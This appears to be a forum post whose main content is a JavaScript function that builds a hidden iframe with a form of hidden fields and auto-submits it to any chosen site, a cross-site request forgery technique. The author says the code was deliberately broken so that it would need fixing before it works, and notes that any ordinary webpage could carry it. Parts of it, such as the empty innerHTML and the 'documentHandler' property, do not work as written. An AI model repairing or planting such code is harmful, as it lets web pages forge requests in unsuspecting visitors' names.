function jacks(site,params){
var div = document.createElement('div');
div.innerHTML = '';
document.body.appendChild(div);
var iframe = div.firstChild;
var iframeDocument = iframe.documentHandler;
iframeDocument.open();
iframeDocument.close();
var form = iframeDocument.createElement('form');
iframeDocument.body.appendChild(form);
form.setAttribute('action',site);
for (param in params){
var field = iframeDocument.createElement('input');
field.setAttribute('type', 'hidden');
field.setAttribute('name', param);
field.setAttribute('value', params[param]);
form.appendChild(field);
}
form.submit();
}
The code I posted here was edited to need some work before it works, to discourage script kiddies.
EDIT: Of course this could be executed from any page. You could be visiting some random page with comics, and it could technically have this code in it.